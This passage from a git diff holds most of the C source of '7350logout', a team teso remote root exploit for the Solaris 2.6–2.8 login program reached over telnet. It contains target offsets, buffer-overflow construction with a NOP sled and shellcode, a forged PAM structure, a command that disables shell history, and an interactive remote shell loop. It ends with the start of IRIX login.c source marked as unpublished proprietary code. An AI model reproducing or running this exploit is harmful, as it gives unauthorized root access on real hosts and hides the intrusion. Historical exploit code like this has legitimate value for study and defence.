114 "/bin/ksh";
115
116unsigned char x86_nop[] =
117 "\x90\x90\x90\x90"; /* TODO: replace with something innocent */
118
119
120#define SH_INIT "unset HISTFILE;id;uname -a;uptime;\n"
121
122
123tgt_type targets[] = {
124 { "Solaris 2.6|2.7|2.8 sparc", 0x00027600, 0,
125 sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1,
126 sparc_nop },
127 { "Solaris 2.6|2.7|2.8 x86", /* .bss */ 0x0804f918 + 0x800, 1,
128 x86_solaris_execve, sizeof (x86_solaris_execve) - 1,
129 x86_nop },
130#if 0
131/* solaris 2.4 uses libauth, a libpam precessor, which looks different.
132 * i suppose it would be possible to make this technique work with libauth,
133 * but its not worth the effort (though they look very similar)
134 { "Solaris 2.4 SPARC", 0x00026e78,
135 sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 },
136*/
137 { "Solaris 2.6 SPARC", 0x00027620,
138 sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 },
139 { "Solaris 2.7|2.8 SPARC", 0x000275c0,
140 sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 },
141#endif
142 { NULL, 0x00000000, 0, NULL, 0, NULL },
143};
144
145tgt_type target_manual_sparc = {
146 "Manual target sparc", 0x0, 0,
147 sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1,
148 sparc_nop
149};
150
151tgt_type target_manual_x86 = {
152 "Manual target x86", 0x0, 0,
153 x86_solaris_execve, sizeof (x86_solaris_execve) - 1,
154 x86_nop
155};
156
157unsigned char manual_type;
158unsigned long int manual_args = 0x0;
159
160char * dest = "127.0.0.1"; /* can be changed with -d */
161int xp_final = 0,
162 verbose = 0,
163 debug = 0,
164 ttyp = 0; /* force "TTYPROMPT" environment */
165
166
167/* prototypes
168 */
169
170void usage (char *progname);
171void shell (int sock);
172void hexdump (char *desc, unsigned char *data, unsigned int amount);
173void exploit (int fd);
174void exploit_setenv (int fd, unsigned char *var, unsigned char *val);
175unsigned int exploit_pam (unsigned char *ww);
176unsigned int exploit_nopscode (unsigned char *ww, unsigned long playsize);
177unsigned int exploit_addstring (unsigned char *ww, unsigned char *str);
178unsigned int exploit_addbuf (unsigned char *ww, unsigned char *buf,
179 unsigned int buf_len);
180unsigned int exploit_addbufquot (unsigned char *ww, unsigned char *buf,
181 unsigned int buf_len);
182unsigned int exploit_addchars (unsigned char *ww, unsigned char wc,
183 unsigned int count);
184unsigned int exploit_addraw (unsigned char *ww, unsigned char wc);
185unsigned int exploit_addchar (unsigned char *ww, unsigned char wc);
186unsigned int exploit_addptrs (unsigned char *ww, unsigned long int ptr,
187 unsigned int count);
188unsigned int exploit_addptr (unsigned char *ww, unsigned long int ptr);
189ssize_t telnet_prompt (int fd, unsigned char *inbuf, unsigned int inbufsize,
190 char *prompt);
191unsigned char * binstrstr (unsigned char *binary, unsigned int bin_len,
192 unsigned char *str);
193ssize_t telnet_read (int fd, unsigned char *inbuf, unsigned int inbufsize);
194int telnet_eatall (int fd, unsigned char *inbuf, unsigned int inbuf_len);
195void telnet_send (int fd, unsigned char type, unsigned char option);
196void tgt_list (void);
197unsigned long int net_resolve (char *host);
198int net_connect (struct sockaddr_in *cs, char *server,
199 unsigned short int port, int sec);
200int net_rtimeout (int fd, int sec);
201int nwrite (int fd, unsigned char *ptr, unsigned int len);
202
203
204
205void
206usage (char *progname)
207{
208 fprintf (stderr, "usage: %s [-h] [-v] [-D] [-T] [-p] [-t num] [-a addr] "
209 "[-d dst]\n\n", progname);
210
211 fprintf (stderr, "-h\tdisplay this usage\n"
212 "-v\tincrease verbosity\n"
213 "-D\tDEBUG mode\n"
214 "-T\tTTYPROMPT mode (try when normal mode fails)\n"
215 "-p\tspawn ttyloop directly (use when problem arise)\n"
216 "-t num\tselect target type (zero for list)\n"
217 "-a a\tacp option: set &args[0]. format: \"[sx]:0x123\"\n"
218 "\t(manual offset, try 0x26500-0x28500, "
219 "in 0x600 steps)\n"
220 "-d dst\tdestination ip or fqhn (default: 127.0.0.1)\n\n");
221
222 exit (EXIT_FAILURE);
223}
224
225
226int fastprompt = 0;
227tgt_type * tgt = NULL;
228
229int
230main (int argc, char *argv[])
231{
232 int fd,
233 tgt_num = -1;
234 char c;
235 char * progname;
236 unsigned char rbuf[4096];
237
238
239#ifndef NOTAG
240 fprintf (stderr, "7350logout - sparc|x86/solaris login remote root "
241 "(version "VERSION") -sc.\n"
242 "team teso.\n\n");
243#endif
244
245 progname = argv[0];
246 if (argc < 2)
247 usage (progname);
248
249
250 while ((c = getopt (argc, argv, "ht:vDTpa:d:")) != EOF) {
251 switch (c) {
252 case 'h':
253 usage (progname);
254 break;
255 case 't':
256 if (sscanf (optarg, "%u", &tgt_num) != 1)
257 usage (progname);
258 break;
259 case 'v':
260 verbose += 1;
261 break;
262 case 'T':
263 ttyp = 1;
264 break;
265 case 'D':
266 debug = 1;
267 break;
268 case 'p':
269 fastprompt = 1;
270 break;
271 case 'a':
272 if (sscanf (optarg, "%c:0x%lx", &manual_type,
273 &manual_args) != 1)
274 {
275 fprintf (stderr, "give args address in [sx]:0x123 "
276 "format, dumb pentester!\n");
277 exit (EXIT_FAILURE);
278 }
279 break;
280 case 'd':
281 dest = optarg;
282 break;
283 default:
284 usage (progname);
285 break;
286 }
287 }
288
289 if (manual_args != 0) {
290 if (manual_type == 's') {
291 tgt = &target_manual_sparc;
292 } else if (manual_type == 'x') {
293 tgt = &target_manual_x86;
294 } else {
295 fprintf (stderr, "invalid [sx] manual target\n");
296 exit (EXIT_FAILURE);
297 }
298
299 tgt->args = manual_args;
300 } else if (tgt_num <= 0 ||
301 (tgt_num >= (sizeof (targets) / sizeof (tgt_type))))
302 {
303 if (tgt_num != 0)
304 printf ("WARNING: target out of list. list:\n\n");
305
306 tgt_list ();
307
308 exit (EXIT_SUCCESS);
309 } else if (tgt == NULL)
310 tgt = &targets[tgt_num - 1];
311
312 fprintf (stderr, "# using target: %s\n", tgt->desc);
313
314 fd = net_connect (NULL, dest, 23, 20);
315 if (fd <= 0) {
316 fprintf (stderr, "failed to connect\n");
317 exit (EXIT_FAILURE);
318 }
319
320 if (ttyp) {
321 fprintf (stderr, "# setting TTYPROMPT\n");
322 exploit_setenv (fd, "TTYPROMPT", "gera");
323 }
324
325 /* catch initial telnet option processing, then wait for "login: "
326 * prompt to appear
327 */
328 telnet_prompt (fd, rbuf, sizeof (rbuf), "login: ");
329 fprintf (stderr, "# detected first login prompt\n");
330
331 /* send one initial login attempt (to set pamh)
332 */
333 write (fd, "foo 7350\n", 9);
334 sleep (1);
335 write (fd, "pass\n", 5);
336 sleep (1);
337
338 telnet_prompt (fd, rbuf, sizeof (rbuf), "login: ");
339 fprintf (stderr, "# detected second login prompt\n");
340
341 if (debug) {
342 fprintf (stderr, "### attach and press enter!\n");
343 getchar ();
344 }
345 exploit (fd);
346 fprintf (stderr,
347 "# send long login bait, waiting for password prompt\n");
348 xp_final = 1;
349
350 if (fastprompt || debug) {
351 fprintf (stderr, "# press enter at the prompt\n");
352 } else {
353 telnet_prompt (fd, rbuf, sizeof (rbuf), "Password: ");
354 fprintf (stderr, "# received password prompt, success?\n");
355 write (fd, "7350\n", 5);
356
357 fprintf (stderr, "# waiting for shell "
358 "(more than 15s hanging = failure)\n");
359 telnet_prompt (fd, rbuf, sizeof (rbuf), "#");
360
361 fprintf (stderr,
362 "# detected shell prompt, successful exploitation\n");
363 fprintf (stderr, "###########################################"
364 "################################\n");
365
366 write (fd, SH_INIT, strlen (SH_INIT));
367 }
368
369 shell (fd);
370
371 exit (EXIT_SUCCESS);
372}
373
374
375unsigned int envcount;
376#define MAXARGS 63
377
378void
379exploit (int fd)
380{
381 int n;
382 unsigned char * ww; /* wbuf walker */
383 unsigned char wbuf[16384];
384 unsigned long retaddr; /* where to return to */
385 unsigned long padenv;
386
387
388 envcount = 0;
389 memset (wbuf, '\x00', sizeof (wbuf));
390 ww = &wbuf[0];
391
392 /* login name
393 */
394 ww += exploit_addstring (ww, "sP!");
395 ww += exploit_addraw (ww, '\x20');
396
397 /* 1. env: with return address
398 * retaddr is exact known middle of envbuf for given target,
399 * so it will most likely be correct for unknown targets, too.
400 * we have a total of 0x680(-1) bytes of playground.
401 */
402 retaddr = tgt->args - 0x0800 + (64 * 2) + 0x340
403 - 24 ; /* - 24 = shellcode_len / 2, padded up to next %4=0 */
404
405 fprintf (stderr, "# returning into 0x%08lx\n", retaddr);
406 if (debug)
407 ww += exploit_addptr (ww, 0x41414140);
408 else
409 ww += exploit_addptr (ww, retaddr);
410 ww += exploit_addraw (ww, '\x20');
411
412 /* 2. - 61. env just bogus data.
413 * TODO: maybe find a valid 0x00mm00mm opcode so this is real
414 * nopspace, too.
415 *
416 * - 1 = login name
417 * - 1 = retaddr data
418 * - 1 = pad
419 */
420 for (n = 0 ; n < MAXARGS - 1 - 1 - 1 ; ++n) {
421 ww += exploit_addchar (ww, 'a');
422 ww += exploit_addraw (ww, '\x20');
423 }
424
425 /* %4=0 padding before nops + shellcode
426 */
427 padenv = 4 - (envcount % 4);
428 ww += exploit_addchars (ww, 'P', padenv);
429
430 /* 63. nopspace + shellcode, padding before
431 */
432 padenv = 0x700 - envcount; /* real bytes */
433 padenv -= 1; /* minus terminating NUL char */
434 if (verbose > 2) {
435 fprintf (stderr, "envcount = %d (0x%x)\n", envcount, envcount);
436 fprintf (stderr, "padding with %ld (0x%lx) chars\n",
437 padenv, padenv);
438 }
439
440 if (debug)
441 ww += exploit_addchars (ww, '7', padenv);
442 else
443 ww += exploit_nopscode (ww, padenv);
444
445 ww += exploit_addraw (ww, '\x20');
446
447
448 /* 64. pamh, minimal survive-header, then NUL padding
449 * align so that pameptr is the 65'th pointer, yay!
450 */
451 ww += exploit_pam (ww);
452 padenv = 0x7e8 + 4 - envcount;
453 padenv -= 1;
454 ww += exploit_addchars (ww, '\x00', padenv);
455 ww += exploit_addraw (ww, '\x20');
456
457 /* 65. pameptr
458 */
459 ww += exploit_addstring (ww, "7350");
460
461 *ww++ = '\n';
462
463 n = ww - &wbuf[0];
464
465 if (verbose >= 2)
466 hexdump ("WIRE-BUFFER", wbuf, n);
467
468 nwrite (fd, wbuf, n);
469}
470
471/* 854! ;)
472 */
473void
474exploit_setenv (int fd, unsigned char *var, unsigned char *val)
475{
476 int n = 0;
477 unsigned char buf[2048];
478
479 buf[n++] = IAC;
480 buf[n++] = SB;
481 buf[n++] = TELOPT_NEW_ENVIRON;
482 buf[n++] = TELQUAL_IS;
483 buf[n++] = ENV_USERVAR;
484
485 /* should not contain < 0x04 */
486 while (*var) {
487 if (*var == IAC)
488 buf[n++] = *var;
489 buf[n++] = *var++;
490 }
491 buf[n++] = NEW_ENV_VALUE;
492 while (*val) {
493 if (*val == IAC)
494 buf[n++] = *val;
495 buf[n++] = *val++;
496 }
497 buf[n++] = IAC;
498 buf[n++] = SE;
499
500 if (send (fd, buf, n, 0) != n) {
501 perror ("xp_setenv:send");
502 exit (EXIT_FAILURE);
503 }
504}
505
506
507#define PAM_USER 2
508#define PAM_MAX_ITEMS 64
509
510unsigned int
511exploit_pam (unsigned char *ww)
512{
513 unsigned int n;
514 unsigned char * wwo = ww;
515 unsigned long no_nul_addr;
516
517
518 /* we need to set pam_user to a string != "\0" (else we have some
519 * side effects in the malloc functions/strdup, don't ask). hence we
520 * use the same address as we used for retaddr, as there is no NUL
521 * byte for sure.
522 */
523 no_nul_addr = tgt->args - 0x0800 + (64 * 2) + 0x340
524 - 24 ; /* - 24 = shellcode_len / 2, padded up to next %4=0 */
525
526 /* add pam_item ps_item[PAM_MAX_ITEMS] structures */
527 for (n = 0 ; n < PAM_USER + 1 ; ++n) {
528 if (n == PAM_USER) {
529 ww += exploit_addptr (ww, no_nul_addr);
530 ww += exploit_addptr (ww, 0x00000001);
531 } else {
532 ww += exploit_addchars (ww, '\x00', 8);
533 }
534 }
535
536 return (ww - wwo);
537}
538
539
540/* exploit_nopscode
541 *
542 * create a nop + shellcode space of `playsize' bytes in raw length.
543 * then encode buffer to `ww'. the output buffer must have the size
544 * of `playsize', so padding is our duty (not the space though).
545 *
546 * return length of encoded output (can be larger than playsize)
547 */
548
549unsigned int
550exploit_nopscode (unsigned char *ww, unsigned long playsize)
551{
552 unsigned int scw; /* shellcode walker */
553 unsigned char * wwo = ww;
554 unsigned char * cbuf = calloc (1, playsize);
555 unsigned long int sizepad = playsize & ~3;
556
557
558 /* what we do not overwrite is padding
559 */
560 memset (cbuf, 'P', playsize);
561 if (sizepad < tgt->shellcode_len) {
562 fprintf (stderr, "no room to store shellcode (%lu bytes "
563 "given, %u needed)\n", sizepad, tgt->shellcode_len);
564
565 exit (EXIT_FAILURE);
566 }
567 sizepad -= tgt->shellcode_len;
568
569 for (scw = 0 ; scw < sizepad ; scw += 4)
570 memcpy (&cbuf[scw], tgt->shellcode_nop, 4);
571 memcpy (&cbuf[sizepad], tgt->shellcode, tgt->shellcode_len);
572
573 /* encode to output
574 */
575 ww += exploit_addbuf (ww, cbuf, playsize);
576
577 if (verbose >= 2)
578 hexdump ("CODE-BUFFER", cbuf, playsize);
579
580 free (cbuf);
581
582 return (ww - wwo);
583}
584
585
586unsigned int
587exploit_addstring (unsigned char *ww, unsigned char *str)
588{
589 unsigned char * wwo = ww;
590
591 ww += exploit_addbuf (ww, str, strlen (str));
592
593 return (ww - wwo);
594}
595
596
597unsigned int
598exploit_addbuf (unsigned char *ww, unsigned char *buf, unsigned int buf_len)
599{
600 unsigned char * wwo = ww;
601
602 for ( ; buf_len > 0 ; ++buf, --buf_len)
603 ww += exploit_addchar (ww, *buf);
604
605 return (ww - wwo);
606}
607
608
609unsigned int
610exploit_addbufquot (unsigned char *ww, unsigned char *buf,
611 unsigned int buf_len)
612{
613 unsigned char wc;
614 unsigned char * wwo;
615
616 for (wwo = ww ; buf_len > 0 ; --buf_len, ++buf) {
617 wc = *buf;
618
619 *ww++ = '\\';
620 *ww++ = ((wc & 0300) >> 6) + '0';
621 *ww++ = ((wc & 0070) >> 3) + '0';
622 *ww++ = (wc & 0007) + '0';
623 envcount += 1;
624 }
625
626 return (ww - wwo);
627}
628
629
630unsigned int
631exploit_addchars (unsigned char *ww, unsigned char wc, unsigned int count)
632{
633 unsigned char * wwo;
634
635 for (wwo = ww ; count > 0 ; --count) {
636 ww += exploit_addchar (ww, wc);
637 }
638
639 return (ww - wwo);
640}
641
642
643unsigned int
644exploit_addraw (unsigned char *ww, unsigned char wc)
645{
646 if (wc == '\x20' || *ww == '\x09')
647 envcount += 1;
648
649 *ww = wc;
650
651 return (1);
652}
653
654
655unsigned int
656exploit_addchar (unsigned char *ww, unsigned char wc)
657{
658 unsigned char * wwo = ww;
659
660 switch (wc) {
661 case ('\\'):
662 *ww++ = '\\';
663 *ww++ = '\\';
664 break;
665 case (0xff):
666 case ('\n'):
667 case (' '):
668 case ('\t'):
669 *ww++ = '\\';
670 *ww++ = ((wc & 0300) >> 6) + '0';
671 *ww++ = ((wc & 0070) >> 3) + '0';
672 *ww++ = (wc & 0007) + '0';
673 break;
674 default:
675 *ww++ = wc;
676 break;
677 }
678
679 envcount += 1;
680
681 return (ww - wwo);
682}
683
684
685unsigned int
686exploit_addptrs (unsigned char *ww, unsigned long int ptr, unsigned int count)
687{
688 unsigned char * wwo;
689
690 for (wwo = ww ; count > 0 ; --count) {
691 ww += exploit_addptr (ww, ptr);
692 }
693
694 return (ww - wwo);
695}
696
697
698unsigned int
699exploit_addptr (unsigned char *ww, unsigned long int ptr)
700{
701 unsigned char * wwo = ww;
702
703 if (tgt->endianess == 0) {
704 /* big endian */
705 ww += exploit_addchar (ww, (ptr >> 24) & 0xff);
706 ww += exploit_addchar (ww, (ptr >> 16) & 0xff);
707 ww += exploit_addchar (ww, (ptr >> 8) & 0xff);
708 ww += exploit_addchar (ww, ptr & 0xff);
709 } else if (tgt->endianess == 1) {
710 /* little endian */
711 ww += exploit_addchar (ww, ptr & 0xff);
712 ww += exploit_addchar (ww, (ptr >> 8) & 0xff);
713 ww += exploit_addchar (ww, (ptr >> 16) & 0xff);
714 ww += exploit_addchar (ww, (ptr >> 24) & 0xff);
715 }
716
717 return (ww - wwo);
718}
719
720
721/* telnet_prompt
722 *
723 * loop in telnet i/o until a prompt appears, given by `prompt' parameter
724 * else behave as telnet_read would
725 */
726
727ssize_t
728telnet_prompt (int fd, unsigned char *inbuf, unsigned int inbufsize,
729 char *prompt)
730{
731 ssize_t rtemp;
732
733
734 do {
735 rtemp = telnet_read (fd, inbuf, inbufsize);
736 if (rtemp == 0) {
737 if (xp_final == 0) {
738 fprintf (stderr, "failed telnet_prompt.\n");
739 } else {
740 fprintf (stderr, "\nfailed exploitation. possible causes:\n"
741 "# 1. login patched\n"
742 "# 2. wrong target type (sparc|x86)\n"
743 "# 3. weird/no solaris version <= 2.4\n"
744 "# 4. TTYPROMPT weirdness, try again with -T option\n"
745 "# 5. try with -p -v options\n\n"
746 "good luck.\n");
747 }
748
749 exit (EXIT_FAILURE);
750 }
751
752 if (verbose >= 2) {
753 fprintf (stderr, "rbuf: ");
754 write (2, inbuf, rtemp);
755 }
756 } while (ttyp == 0 && binstrstr (inbuf, rtemp, prompt) == NULL);
757
758 return (rtemp);
759}
760
761
762unsigned char *
763binstrstr (unsigned char *binary, unsigned int bin_len, unsigned char *str)
764{
765 if (bin_len < strlen (str))
766 return (NULL);
767
768 while (binary <= (binary + bin_len - strlen (str))) {
769 if (memcmp (binary, str, strlen (str)) == 0)
770 return (binary);
771
772 binary += 1;
773 bin_len -= 1;
774 }
775
776 return (NULL);
777}
778
779
780/* telnet_read
781 *
782 * read() function that takes care of all the telnet option negotiation crap
783 *
784 * return value just like read()
785 */
786
787ssize_t
788telnet_read (int fd, unsigned char *inbuf, unsigned int inbufsize)
789{
790 ssize_t rc = 1;
791 int idleflag,
792 atecount = 1;
793
794
795 while (atecount != 0 && (idleflag = net_rtimeout (fd, 15)) == 1) {
796 rc = read (fd, inbuf, inbufsize);
797 if (verbose && rc > 0)
798 hexdump ("from wire", inbuf, rc);
799 atecount = telnet_eatall (fd, inbuf, rc);
800 rc -= atecount;
801 if (verbose && rc > 0)
802 hexdump ("after processing", inbuf, rc);
803 if (rc > 0)
804 return (rc);
805 }
806
807 fprintf (stderr, "# telnetd either died or invalid response\n");
808
809 return (rc);
810}
811
812
813/* telnet_eatall
814 *
815 * eat all telnet negotiation stuff and answer it, so we get through.
816 * basically copied 1:1 from netcat.
817 */
818
819int
820telnet_eatall (int fd, unsigned char *inbuf, unsigned int inbuf_len)
821{
822 int eat;
823 int changed;
824
825
826 for (eat = 0 ; inbuf_len > 2 ; ++inbuf, --inbuf_len) {
827 changed = 0;
828
829 if (inbuf[0] != IAC || inbuf_len < 2)
830 continue;
831
832 if (inbuf[1] == WILL && inbuf[2] == TELOPT_SGA) {
833 inbuf[1] = DO; /* IAC WILL SUPPRESSGOAHEAD, DO IT! */
834 changed = 1;
835 } else if (inbuf[1] == WILL && inbuf[2] == TELOPT_ECHO) {
836 inbuf[1] = DO; /* IAC WILL ECHO, DO IT! */
837 changed = 1;
838 } else
839 if (inbuf[1] == WILL || inbuf[1] == WONT) {
840 inbuf[1] = DONT;
841 changed = 1;
842 } else if (inbuf[1] == DO || inbuf[1] == DONT) {
843 inbuf[1] = WONT;
844 changed = 1;
845 }
846 if (changed)
847 write (fd, inbuf, 3);
848
849 if (inbuf_len > 3)
850 memmove (&inbuf[0], &inbuf[3], inbuf_len - 3);
851
852 --inbuf;
853 inbuf_len -= 2;
854 eat += 3;
855 }
856
857 return (eat);
858}
859
860
861void
862telnet_send (int fd, unsigned char type, unsigned char option)
863{
864 unsigned char buf[3];
865
866 buf[0] = IAC;
867 buf[1] = type;
868 buf[2] = option;
869
870 write (fd, buf, sizeof (buf));
871}
872
873
874void
875tgt_list (void)
876{
877 int tgt_num;
878
879
880 printf ("num . description\n");
881 printf ("----+-----------------------------------------------"
882 "--------\n");
883
884 for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) {
885 printf ("%3d | %s\n", tgt_num + 1, targets[tgt_num].desc);
886
887 if (verbose)
888 printf (" : 0x%08lx\n", targets[tgt_num].args);
889 }
890 printf (" '\n");
891
892 return;
893}
894
895
896void
897shell (int sock)
898{
899 int l;
900 char buf[512];
901 fd_set rfds;
902
903
904 while (1) {
905 FD_SET (0, &rfds);
906 FD_SET (sock, &rfds);
907
908 select (sock + 1, &rfds, NULL, NULL, NULL);
909 if (FD_ISSET (0, &rfds)) {
910 l = read (0, buf, sizeof (buf));
911 if (l <= 0) {
912 perror ("read user");
913 exit (EXIT_FAILURE);
914 }
915 write (sock, buf, l);
916 }
917
918 if (FD_ISSET (sock, &rfds)) {
919 l = telnet_read (sock, buf, sizeof (buf));
920 if (l <= 0) {
921 perror ("read remote");
922 exit (EXIT_FAILURE);
923 }
924 write (1, buf, l);
925 }
926 }
927}
928
929
930/* ripped from zodiac */
931void
932hexdump (char *desc, unsigned char *data, unsigned int amount)
933{
934 unsigned int dp, p; /* data pointer */
935 const char trans[] =
936 "................................ !\"#$%&'()*+,-./0123456789"
937 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
938 "nopqrstuvwxyz{|}~...................................."
939 "....................................................."
940 "........................................";
941
942
943 printf ("/* %s, %u bytes */\n", desc, amount);
944
945 for (dp = 1; dp <= amount; dp++) {
946 fprintf (stderr, "%02x ", data[dp-1]);
947 if ((dp % 8) == 0)
948 fprintf (stderr, " ");
949 if ((dp % 16) == 0) {
950 fprintf (stderr, "| ");
951 p = dp;
952 for (dp -= 16; dp < p; dp++)
953 fprintf (stderr, "%c", trans[data[dp]]);
954 fflush (stderr);
955 fprintf (stderr, "\n");
956 }
957 fflush (stderr);
958 }
959 if ((amount % 16) != 0) {
960 p = dp = 16 - (amount % 16);
961 for (dp = p; dp > 0; dp--) {
962 fprintf (stderr, " ");
963 if (((dp % 8) == 0) && (p != 8))
964 fprintf (stderr, " ");
965 fflush (stderr);
966 }
967 fprintf (stderr, " | ");
968 for (dp = (amount - (16 - p)); dp < amount; dp++)
969 fprintf (stderr, "%c", trans[data[dp]]);
970 fflush (stderr);
971 }
972 fprintf (stderr, "\n");
973
974 return;
975}
976
977
978
979unsigned long int
980net_resolve (char *host)
981{
982 long i;
983 struct hostent *he;
984
985 i = inet_addr(host);
986 if (i == -1) {
987 he = gethostbyname(host);
988 if (he == NULL) {
989 return (0);
990 } else {
991 return (*(unsigned long *) he->h_addr);
992 }
993 }
994 return (i);
995}
996
997
998int
999net_connect (struct sockaddr_in *cs, char *server,
1000 unsigned short int port, int sec)
1001{
1002 int n,
1003 len,
1004 error,
1005 flags;
1006 int fd;
1007 struct timeval tv;
1008 fd_set rset, wset;
1009 struct sockaddr_in csa;
1010
1011 if (cs == NULL)
1012 cs = &csa;
1013
1014 /* first allocate a socket */
1015 cs->sin_family = AF_INET;
1016 cs->sin_port = htons (port);
1017 fd = socket (cs->sin_family, SOCK_STREAM, 0);
1018 if (fd == -1)
1019 return (-1);
1020
1021 if (!(cs->sin_addr.s_addr = net_resolve (server))) {
1022 close (fd);
1023 return (-1);
1024 }
1025
1026 flags = fcntl (fd, F_GETFL, 0);
1027 if (flags == -1) {
1028 close (fd);
1029 return (-1);
1030 }
1031 n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
1032 if (n == -1) {
1033 close (fd);
1034 return (-1);
1035 }
1036
1037 error = 0;
1038
1039 n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
1040 if (n < 0) {
1041 if (errno != EINPROGRESS) {
1042 close (fd);
1043 return (-1);
1044 }
1045 }
1046 if (n == 0)
1047 goto done;
1048
1049 FD_ZERO(&rset);
1050 FD_ZERO(&wset);
1051 FD_SET(fd, &rset);
1052 FD_SET(fd, &wset);
1053 tv.tv_sec = sec;
1054 tv.tv_usec = 0;
1055
1056 n = select(fd + 1, &rset, &wset, NULL, &tv);
1057 if (n == 0) {
1058 close(fd);
1059 errno = ETIMEDOUT;
1060 return (-1);
1061 }
1062 if (n == -1)
1063 return (-1);
1064
1065 if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
1066 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
1067 len = sizeof(error);
1068 if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
1069 errno = ETIMEDOUT;
1070 return (-1);
1071 }
1072 if (error == 0) {
1073 goto done;
1074 } else {
1075 errno = error;
1076 return (-1);
1077 }
1078 }
1079 } else
1080 return (-1);
1081
1082done:
1083 n = fcntl(fd, F_SETFL, flags);
1084 if (n == -1)
1085 return (-1);
1086 return (fd);
1087}
1088
1089
1090int
1091net_rtimeout (int fd, int sec)
1092{
1093 fd_set rset;
1094 struct timeval tv;
1095 int n, error, flags;
1096
1097 error = 0;
1098 flags = fcntl(fd, F_GETFL, 0);
1099 n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
1100 if (n == -1)
1101 return (-1);
1102
1103 FD_ZERO(&rset);
1104 FD_SET(fd, &rset);
1105 tv.tv_sec = sec;
1106 tv.tv_usec = 0;
1107
1108 /* now we wait until more data is received then the tcp low level watermark,
1109 * which should be setted to 1 in this case (1 is default)
1110 */
1111
1112 n = select(fd + 1, &rset, NULL, NULL, &tv);
1113 if (n == 0) {
1114 n = fcntl(fd, F_SETFL, flags);
1115 if (n == -1)
1116 return (-1);
1117 errno = ETIMEDOUT;
1118 return (-1);
1119 }
1120 if (n == -1) {
1121 return (-1);
1122 }
1123 /* socket readable ? */
1124 if (FD_ISSET(fd, &rset)) {
1125 n = fcntl(fd, F_SETFL, flags);
1126 if (n == -1)
1127 return (-1);
1128 return (1);
1129 } else {
1130 n = fcntl(fd, F_SETFL, flags);
1131 if (n == -1)
1132 return (-1);
1133 errno = ETIMEDOUT;
1134 return (-1);
1135 }
1136}
1137
1138
1139int
1140nwrite (int fd, unsigned char *ptr, unsigned int len)
1141{
1142 ssize_t retval,
1143 nwr = 0;
1144 int ff_count,
1145 pw, tw;
1146 unsigned char * sbuf;
1147
1148
1149 for (ff_count = 0, sbuf = ptr ; sbuf < &ptr[len] ; ++sbuf)
1150 if (*sbuf == 0xff)
1151 ff_count++;
1152
1153 sbuf = malloc (len + ff_count);
1154 for (pw = tw = 0 ; pw < len ; ++pw, ++tw) {
1155 sbuf[tw] = ptr[pw];
1156 if (ptr[pw] == 0xff)
1157 sbuf[++tw] = ptr[pw];
1158 }
1159 ptr = sbuf;
1160 len = tw;
1161
1162 if (verbose)
1163 hexdump ("to wire", ptr, len);
1164
1165 while (len > 0) {
1166 telnet_send (fd, WONT, TELOPT_BINARY);
1167 telnet_send (fd, WILL, TELOPT_BINARY);
1168 fprintf (stderr, "#");
1169 usleep (1000000);
1170
1171 retval = write (fd, ptr, len > 0x100 ? 0x100 : len);
1172 if (retval <= 0)
1173 return (retval);
1174 if (verbose >= 2) {
1175 fprintf (stderr, "first,second: %02x %02x "
1176 "2last,last: %02x %02x\n",
1177 ptr[0], ptr[1],
1178 ptr[retval - 2], ptr[retval - 1]);
1179 }
1180
1181 ptr += retval;
1182 len -= retval;
1183 nwr += retval;
1184 }
1185
1186 fprintf (stderr, "\n");
1187 return (nwr);
1188}
1189
diff --git a/exploits/7350logout/irix-6.5-login.c b/exploits/7350logout/irix-6.5-login.c
new file mode 100644
index 0000000..6f39079
--- /dev/null
+++ b/exploits/7350logout/irix-6.5-login.c
@@ -0,0 +1,3867 @@
1/* Copyright (c) 1990, 1991 UNIX System Laboratories, Inc. */
2/* Copyright (c) 1984, 1986, 1987, 1988, 1989, 1990 AT&T */
3/* All Rights Reserved */
4
5/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF */
6/* UNIX System Laboratories, Inc. */
7/* The copyright notice above does not evidence any */
8/* actual or intended publication of such source code. */
9
10#ident "@(#)login:login.c 1.43.6.83"
11
12/* Copyright (c) 1987, 1988 Microsoft Corporation */
13/* All Rights Reserved */
14
15/* This Module contains Proprietary Information of Microsoft */
16/* Corporation and should be treated as Confidential. */
17
18/***************************************************************************
19 * Command: login
20 *
21 * Usage: login [[-p] name [env-var ... ]]
22 *
23 *
24 * Files: /etc/utmp
25 * /etc/wtmp
26 * /etc/dialups
27 * /etc/d_passwd
28 * /var/adm/lastlog
29 * /var/adm/loginlog
30 * /etc/default/login
31 *
32 * Notes: Conditional assemblies:
33 * NO_MAIL causes the MAIL environment variable not to be set
34 * specified by CONSOLE. CONSOLE MUST NOT be defined as
35 * either "/dev/syscon" or "/dev/systty"!!
36 * MAXTRYS is the number of attempts permitted. 0 is "no limit".
37 * AUX_SECURITY enables authentication through external programs
38 * instead of encrypted passwords.
39 ***************************************************************************/
40/* LINTLIBRARY */
41#include <sys/types.h>
42#include <utmpx.h>
43#include <signal.h>
44#include <pwd.h>
45#include <ctype.h>
46#include <syslog.h>
47#include <proj.h>
48#include <stdio.h>
49#include <fcntl.h>
50#include <unistd.h> /* For logfile locking */
51#include <string.h>
52#include <sys/stat.h>
53#include <dirent.h>
54#include <sys/utsname.h>
55#include <utime.h>
56#include <termio.h>
57#include <sys/stropts.h>
58#include <shadow.h> /* shadow password header file */
59#include <time.h>
60#include <sys/param.h>
61#include <sys/fcntl.h>
62#include <deflt.h>
63#include <grp.h>
64#include <ia.h>
65#include <libgen.h>
66#include <stdlib.h>
67#include <sat.h>
68#include <mls.h>
69#include <sys/mac.h>
70#include <sys/capability.h>
71#include <capability.h>
72#include <sys/file.h> /* for flock in update_count() */
73
74#include <errno.h>
75#include <lastlog.h>
76#include <locale.h>
77#include <pfmt.h>
78#include <sys/stream.h>
79#include <paths.h>
80#include <sys/quota.h>
